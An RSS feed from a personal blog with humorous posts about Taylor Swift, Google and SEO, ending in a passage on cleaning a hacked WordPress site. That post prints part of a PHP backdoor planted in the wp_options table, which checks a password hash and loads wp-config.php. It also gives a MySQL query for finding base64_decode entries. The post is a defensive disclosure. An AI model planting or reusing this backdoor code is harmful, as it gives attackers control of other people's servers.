<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smackdown! &#187; nerdiness</title>
	<atom:link href="http://smackdown.blogsblogsblogs.com/category/nerdiness/feed/" rel="self" type="application/rss+xml" />
	<link>http://smackdown.blogsblogsblogs.com</link>
	<description>Smackdown!</description>
	<lastBuildDate>Tue, 22 Nov 2011 22:40:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Taylor Swift&#8217;s, Um, Like, YouTube Interview</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/09/04/taylor-swifts-um-like-youtube-interview/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/09/04/taylor-swifts-um-like-youtube-interview/#comments</comments>
		<pubDate>Sun, 04 Sep 2011 20:32:51 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[freedom-of-speech]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[smiles]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=997</guid>
		<description><![CDATA[Taylor Swift In which Taylor says &#8220;um&#8221;, &#8220;like&#8221;, talks like a Scotsman, laughs, and sometimes gets excited. Sure, she said lots of other stuff too&#8230; but I didn&#8217;t include any of it in this video. Proof that Taylor can make you smile regardless of what she is saying: &#160; I did not change the order [...]]]></description>
			<content:encoded><![CDATA[<div style="float:right; margin: 4px;"><img src="http://smackdown.blogsblogsblogs.com/images/taylor-swift.jpg" onmouseup="hl2l(event);" alt="Taylor Swift"><br /><em style="font-size: 10px;">Taylor Swift</em></div>
<p> In which Taylor says &#8220;um&#8221;, &#8220;like&#8221;, talks like a Scotsman, laughs, and sometimes gets excited. Sure, she said lots of other stuff too&#8230; but I didn&#8217;t include any of it in this video. </p>
<p>Proof that Taylor can make you smile regardless of what she is saying:<span id="more-997"></span></p>
<p>&nbsp;</p>
<p><object width="500" height="281"><param name="movie" value="http://www.youtube.com/v/M26nU52Kn8E?version=3"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/M26nU52Kn8E?version=3" type="application/x-shockwave-flash" width="500" height="281" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div class="adsense"><script type="text/javascript"><!--
google_ad_client = "pub-1366839326602919";
/* pink title pwdr blue border */
google_ad_slot = "7875851040";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<p>I did not change the order or duplicate anything, I just removed the in-between talking parts. You can view the original video here:</p>
<p><a href="http://www.youtube.com/watch?v=OOPFMrF7v4Q" target="_blank">YouTube Presents Taylor Swift</a></p>
<p>From a technical standpoint probably the hardest part was getting the &#8220;ums&#8221; separated from the surrounding words, due to the fact that often Taylor speaks quickly in this interview, and some of the words ran together. For instance, many of the &#8220;and um&#8221; combinations kept coming out as &#8220;dumb&#8221; when I tried to isolate them, although I think in the end I did a decent job of pulling them all out. I did wind up missing a few I just couldn&#8217;t get though. </p>
<p>On a side note, I was looking at some of the comments on the original video, and I was shocked to see that there are some downright Taylor Swift <em>haters</em> out there. I honestly don&#8217;t get it. I am not referring to the &#8220;oh, I really don&#8217;t like her music&#8221; type of people, but rather people who what I can only assume are completely consumed by self loathing posting some seriously ugly stuff. Just a heads up in case anyone of that genre finds their way here or comments on the original video, I will simply delete anything that appears to be hate driven from the comments. This video is in no way meant to make fun of Taylor. Many people talk this way, and the interviewer was just as bad.</p>
<div><em>Original <a href="http://www.flickr.com/photos/shankbone/4609674095" target="_blank">Taylor Swift</a> image attribution goes to <a href="http://blog.shankbone.org/about/">David Shankbone</a>.</em></div>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/09/04/taylor-swifts-um-like-youtube-interview/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>How They *Really* Found Osama bin Laden</title>
		<link>http://smackdown.blogsblogsblogs.com/2011/05/02/how-they-really-found-osama-bin-laden/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2011/05/02/how-they-really-found-osama-bin-laden/#comments</comments>
		<pubDate>Mon, 02 May 2011 15:40:10 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[bad research]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=967</guid>
		<description><![CDATA[No, seriously: &#160; (click to view full sized) &#160; You can click here to view the actual search.]]></description>
			<content:encoded><![CDATA[<p>No, seriously:</p>
<p>&nbsp;</p>
<p><a href="/images/google-maps-osama.png" target="_blank"><img src="/images/google-maps-osama-sm.png" onmouseup="hl2l(event);" alt="Hey guys, cmere... look what I found on Google!" border="0"></a><br />
(<em>click to view full sized</em>)</p>
<p>&nbsp;</p>
<p>You can click here to view <a href="http://maps.google.com/maps?f=q&#038;source=s_q&#038;hl=en&#038;geocode=&#038;q=osama&#038;aq=&#038;sll=34.146618,73.249111&#038;sspn=0.081973,0.118275&#038;g=Abbottabad,+pakistan&#038;ie=UTF8&#038;t=h&#038;ll=34.187661,73.242615&#038;spn=0.007996,0.00795&#038;z=17&#038;iwloc=C" target="_blank">the actual search</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2011/05/02/how-they-really-found-osama-bin-laden/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Close Up Pic Of A Hot Girl With A Beautiful Smile</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/09/20/close-up-pic-of-a-hot-girl-with-a-beautiful-smile/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/09/20/close-up-pic-of-a-hot-girl-with-a-beautiful-smile/#comments</comments>
		<pubDate>Mon, 20 Sep 2010 12:00:33 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[smiles]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=844</guid>
		<description><![CDATA[This is a close-up of my friend Rachel, and her amazing smile. Very, very close up: &#160; &#160; She makes me smile too.]]></description>
			<content:encoded><![CDATA[<p>This is a close-up of my friend Rachel, and her amazing smile. </p>
<p>Very, very close up:</p>
<p>&nbsp;</p>
<p><img src="/images/rachel-up-close-and-personal.jpg" alt="Smile!" border="0" onmouseup="hl2l(event);"></p>
<p>&nbsp;</p>
<p>She makes me smile too. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/09/20/close-up-pic-of-a-hot-girl-with-a-beautiful-smile/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>*Proof* That The New SEOmoz Tool Is At Least Half Accurate</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/09/09/proof-that-the-new-seomoz-tools-is-at-least-half-accurate/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/09/09/proof-that-the-new-seomoz-tools-is-at-least-half-accurate/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 12:06:24 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[bad research]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=828</guid>
		<description><![CDATA[There has been quite of bit of controversy over the past few days arising from the new LDA based tool recently released by SEOmoz. While there may have been some very well thought out, compelling arguments against giving this tool any credit whatsoever, I have to tell you that in my opinion no argument, no [...]]]></description>
			<content:encoded><![CDATA[<p>There has been quite of bit of <a href="http://www.seangolliher.com/2010/seo/185/" target="_blank">controversy</a> over the past few days arising from the <a href="http://www.huomah.com/Search-Engines/Algorithm-Matters/Google-Rankings-and-LDA.html" target="_blank">new LDA based tool</a> recently released by SEOmoz. While there may have been some very <a href="http://andybeard.eu/3122/seomoz-lda-tool.html" target="_blank">well thought out, compelling</a> arguments against giving this tool any credit whatsoever, I have to tell you that in my opinion no argument, no matter how well worded, is going to win over a good old fashioned demonstration.</p>
<p>I am a big one for testing, and test this tool I did. Now, I know, I may have voiced some opinions in the past as to my doubt of the sincerity of <a href="http://smackdown.blogsblogsblogs.com/2007/08/06/rand-fishkin-the-troll-defense/" target="_blank">Rand Fishkin</a> and the folks who run things over at <a href="http://smackdown.blogsblogsblogs.com/2007/09/21/why-seomoz-needs-a-for-entertainment-purposes-only-disclaimer/" target="_blank">SEOmoz</a>, but regardless of what I said before, for me seeing is definitely believing. I plugged both the url for the post introducing the tool itself, along with the phrase <span id="more-828"></span>[<a href="http://www.seomoz.org/blog/lda-and-googles-rankings-well-correlated" target="_blank">made up statistical bullshit</a>], into the tool&#8217;s interface, and sure as hell this is what the tool showed me:</p>
<p>&nbsp;</p>
<p><a href="/images/seomoz-tool-half-correct.png" target="_blank"><img src="/images/seomoz-tool-half-correct-sm.png" onmouseup="hl2l(event);" alt="Well, the tool was half right..." border="0"></a><br />
(<em>click to enlarge</em>)</p>
<p>&nbsp;</p>
<p>I mean, c&#8217;mon now&#8230; those words weren&#8217;t used anywhere in the article, yet this tool was able to accurately determine that at least half* of everything that Rand said was relevant to that phrase?</p>
<p>I don&#8217;t know about you, but <em>I&#8217;m</em> convinced. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>&nbsp;</p>
<div><em>* and yes, I know, the tool guessed numbers that were way low compared to the actual quantity of bullshit in the article, but seriously&#8230; you know as well as I do that any tool that can automatically detect even trace amounts of bullshit in a post is going to be a game changer. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </em></div>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/09/09/proof-that-the-new-seomoz-tools-is-at-least-half-accurate/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Breaking News: Google Borks the Earth</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/08/23/breaking-news-google-borks-the-earth/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/08/23/breaking-news-google-borks-the-earth/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 21:22:53 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[coding]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[search engines]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=820</guid>
		<description><![CDATA[Want to explore the entire planet from your computer? Normally all anyone wanting to do so would have to do would be to trot on over to Google Earth, download and install their application, and off globe trotting they could go. Today, unfortunately, those who do not already have the program installed are apparently out [...]]]></description>
			<content:encoded><![CDATA[<p>Want to explore the entire planet from your computer? Normally all anyone wanting to do so would have to do would be to trot on over to <a href="" target="_blank">Google Earth</a>, download and install their application, and off globe trotting they could go. Today, unfortunately, those who do not already have the program installed are apparently out of luck. It looks like today one of the brighter Google engineers working for one of the world&#8217;s leading tech companies has somehow broken not just one of the download links for the application, but all of them. <span id="more-820"></span></p>
<p>The first place many people would find one of the download links is right in the Google serps, once under the Google Earth sitelinks and once as it&#8217;s own listing:</p>
<p>&nbsp;</p>
<p><img src="/images/google-earth-download-serps.png" onmouseup="hl2l(event);" alt="Google Earth in the serps"></p>
<p>&nbsp;</p>
<p>That particular download link, <a href="earth.google.com/download-earth.html" target="_blank">earth.google.com/download-earth.html</a>, is being redirected to what I am guessing is an agreement page, <a href="http://www.google.com/earth/download/ge/agree.html" target="_blank">http://www.google.com/earth/download/ge/agree.html</a>. This, however, returns a 404:</p>
<p>&nbsp;</p>
<p><img src="/images/google-earth-404.png" onmouseup="hl2l(event);" alt="Agreement page not found"></p>
<p>&nbsp;</p>
<p>The second place people could normally download Google Earth from would be to go to the Google Earth homepage, which was previously located at <a href="http://earth.google.com" target="_blank">earth.google.com</a>, but is now being redirected to <a href="http://www.google.com/earth/index.html" target="_blank">http://www.google.com/earth/index.html</a>. There you can find 2 links, one in the left navigation and one as a large blue button with the text &#8220;Download Google Earth 5&#8243;:</p>
<p>&nbsp;</p>
<p><img src="/images/downloadbutton.png" onmouseup="hl2l(event);" alt="Big Blue Button"></p>
<p>&nbsp;</p>
<p>As inviting as that button is, however, it is simply teasing you. Both the link and the button trigger a Javascript function named earth.downloadEarth(). Normally downloading the entire planet would be a huge power trip&#8230; today however you get from clicking the button is &#8220;Server not found&#8221;:</p>
<p>&nbsp;</p>
<p><img src="/images/problemloading.png" onmouseup="hl2l(event);" alt="Whole server not found"></p>
<p>&nbsp;</p>
<p>It looks like the reason for this one not working is because someone got sloppy when changing the links from earth.google.com to www.google.com, and simply combined the two into <a href="http://earth.googlewww.google.com/intl/en/download-earth.html" target="_blank">http://earth.googlewww.google.com/intl/en/download-earth.html</a>, although that particular page doesn&#8217;t exist on either domain so obviously they messed up more than once. Also, what is even odder, is that the Google Earth packages are <em>also</em> missing from the Ubuntu download repositories:</p>
<p>&nbsp;</p>
<p><img src="/images/google-earth-linuxpkgmanager.png" onmouseup="hl2l(event);" alt="Google Earth gone from Ubuntu too?"></p>
<p>&nbsp;</p>
<p>To have Google Earth not be installable from anywhere seems almost as if there is something deliberate going on. Is Google going to phase out one of it&#8217;s cooler applications? Or is something new coming down the pipes from them that will replace it? Only time will tell.</p>
<p><em>Thanks to <a href="http://twitter.com/DonnaFontenot" target="_blank">Donna Fontenot</a> for discovering this today!</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/08/23/breaking-news-google-borks-the-earth/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>I Finally Figured Out Who Jason Calacanis Reminds Me Of</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/08/17/i-finally-figured-out-who-jason-calacanis-reminds-me-of/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/08/17/i-finally-figured-out-who-jason-calacanis-reminds-me-of/#comments</comments>
		<pubDate>Tue, 17 Aug 2010 13:32:16 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[Social Media]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=811</guid>
		<description><![CDATA[In all of the discussions and posts about Jason Calacanis, whenever and wherever he replied to people calling him on his bullshit, it always had the same tired familiar ring to it. His statements have that tone that all scam artists and con men have utilized throughout the ages, professing their innocence despite the preponderance [...]]]></description>
			<content:encoded><![CDATA[<p>In all of the discussions and posts about <a href="http://smackdown.blogsblogsblogs.com/2010/06/21/zomg-jason-calacanis-lied-again-shocker/" target="_blank">Jason Calacanis</a>, whenever and wherever he replied to people calling him on his bullshit, it always had the same tired familiar ring to it. His statements have that tone that all scam artists and con men have utilized throughout the ages, professing their innocence despite the preponderance of evidence against them. Finally it hit me who it is that he sounds like when he is trying to defend his spammy sites&#8230; <span id="more-811"></span></p>
<p><img src="/images/mahalo-nixon-sized2.jpg" border="0" alt="Jason -I am not a spammer- Calacanis" onmouseup="hl2l(event);"></p>
<p>Thanks to James Cook of the <a href="http://toonrefugee.com/toonblog/" target="_blank">TOONrefugee Cartoon Blog</a> for the cartoon of Jason as Nixon. The image is copyrighted and may not be reproduced in any format without his permission.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/08/17/i-finally-figured-out-who-jason-calacanis-reminds-me-of/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dear Matt Cutts, What&#8217;s Your Take On Addon Domains?</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/06/15/dear-matt-cutts-whats-your-take-on-addon-domains/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/06/15/dear-matt-cutts-whats-your-take-on-addon-domains/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 19:58:05 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[Cuttisms]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=756</guid>
		<description><![CDATA[Today Matt Cutts answered a question from &#8220;Land Lubber&#8221;, Colorado. Land Lubber asks: What&#8217;s your take on &#8220;addon domains&#8221;? Does Google penalize someone for having one or more addon domains on their main website, (or if they&#8217;re self hosting)? e.g. 2, 5, or 10 all coming from the same IP address, would that be bad? [...]]]></description>
			<content:encoded><![CDATA[<p>Today <a href="" target="_blank">Matt Cutts</a> answered a question from &#8220;Land Lubber&#8221;, Colorado. Land Lubber asks:</p>
<blockquote><p>What&#8217;s your take on &#8220;addon domains&#8221;? Does Google penalize someone for having one or more addon domains on their main website, (or if they&#8217;re self hosting)? e.g. 2, 5, or 10 all coming from the same IP address, would that be bad? &#8211; <em>Land Lubber, CO</em></p></blockquote>
<p>Matt responded with the following:<span id="more-756"></span></p>
<blockquote><p>Land Lubber, I live in a golden castle in the sky, and I have never had to use shared hosting in my life. Furthermore, I never listen to silly seo rumors either, so I had no idea people were even wasting time on such ridiculous ideas. To be honest, I have no idea what an &#8220;addon domain&#8221; is, even though you spelled it out for me as being multiple domains on the same hosting account. Therefore, I am just going to make something up and talk about that instead. &#8211; <em>Matt Cutts&#8230; well, sorta, interpreted</em></p></blockquote>
<p>Here is the actual video:</p>
<p>&nbsp;</p>
<p><object width="500" height="306"><param name="movie" value="http://www.youtube.com/v/RlNPRonDxuU?fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/RlNPRonDxuU?fs=1" type="application/x-shockwave-flash" width="500" height="306" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>&nbsp;</p>
<p>My take? Obviously based on Matt&#8217;s response as long as you are not doing it for spammy purposes Google doesn&#8217;t give a rats ass if you have more than one site on the same account. <em>Hopefully</em> his lack of caring (or knowing) about it clears that up. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Update:</strong> Here is a link where Matt dispelled the myth that multiple sites all hosted on the same IP would be an inherent issue with Google all the way back in 2006:</p>
<p><a href="http://www.mattcutts.com/blog/myth-busting-virtual-hosts-vs-dedicated-ip-addresses/" target="_blank">Myth busting: virtual hosts vs. dedicated IP addresses</a></p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/06/15/dear-matt-cutts-whats-your-take-on-addon-domains/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Rackspace Hacked Clients, Check Your Databases: WordPress &#8220;wp_optimize&#8221; Backdoor In wp_options Table</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 01:16:57 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=747</guid>
		<description><![CDATA[Just finished cleaning up a hacked client whose website is hosted on Rackspace Cloud hosting. It is the second one within the past few weeks, although the first one was actually hosting on Laughing Squid, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished cleaning up a hacked client whose website is hosted on <a href="http://www.rackspacecloud.com/" target="_blank">Rackspace Cloud hosting</a>. It is the second one within the past few weeks, although the first one was actually hosting on <a href="http://laughingsquid.net/" target="_blank">Laughing Squid</a>, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the same IP as my client a couple of weeks ago who all got hacked, but I was having trouble determining if it was an issue with Laughing Squid or an issue with Rackspace Cloud itself, so I didn&#8217;t blog about it until I could research it more. I wish now that I had, because maybe then it would not have spread so widely. As it is, it is the same WordPress attack that <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/" target="_blank">Unmask Parasites blogged about</a> earlier today.</p>
<p>It looks like the culprit might have been a security hole in phpmyadmin. Hopefully this will turn out to be what was wrong, <span id="more-747"></span>because Rackspace upgraded all of their installations of that package <a href="http://status.mosso.com/2010/06/emergency-phpmyadmin-maintenance-ongoing.html" target="_blank">this past Saturday</a>. If so the initial security could very well be plugged, although of course we don&#8217;t know for sure that was what was affecting all of these customers yet. In either case, however, simply plugging the hole will not be enough for affected websites.</p>
<p>The Unmask Parasites blog went into depth about how the various files were injected with malicious code, and how fake admins were used to modify the theme files on the installation. However, what they (and as far as I can tell everyone else) missed was a backdoor that I found injected directly into the wp_options table. The record had an option_name of &#8220;wp_optimize&#8221;, autoload set to &#8220;on&#8221; (which means that the option is automatically loaded with WordPress), and an option_value of php shell code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$kmd5</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'510a584f9747c1262b5ef3c89bd9afb4'</span><span style="color: #339933;">;</span><span style="color: #000088;">$shellver</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'1.7.5-stable'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>or<span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$kuppa</span><span style="color: #339933;">=</span><span style="color: #990000;">getcwd</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   	      <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">include</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>         <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'update_option_1'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>
    <span style="color: #000000; font-weight: bold;">function</span> update_option_1<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span> <span style="color: #009900;">&#41;</span>
<span style="color: #339933;">...</span></pre></td></tr></table></div>

<p>In all it was 1216 lines of code. You can view the entire file here: <a href="/images/sql-injection-wp-optimize.txt" target="_blank">sql-injection-wp-optimize.txt</a>. It allows an attacker to basically run any commands or upload any file to the server that they want to. Deleting or cleaning all of the infected files on the server won&#8217;t help as long as this code is still in the database. Please, if you have been hacked (regardless of whether or not you are on Rackspace hosting) please make sure you check your databases for malicious code like this. </p>
<p>An easy way to check for these types of suspicious entries in a <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">hacked WordPress</a> database is to run the following MySQL query:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="mysql" style="font-family:monospace;"><span style="color: #990099; font-weight: bold;">SELECT</span> <span style="color: #CC0099;">*</span> <span style="color: #990099; font-weight: bold;">FROM</span> wp_options <span style="color: #990099; font-weight: bold;">WHERE</span> <span style="color: #FF00FF;">&#40;</span>option_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> blog_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_name <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_value <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> 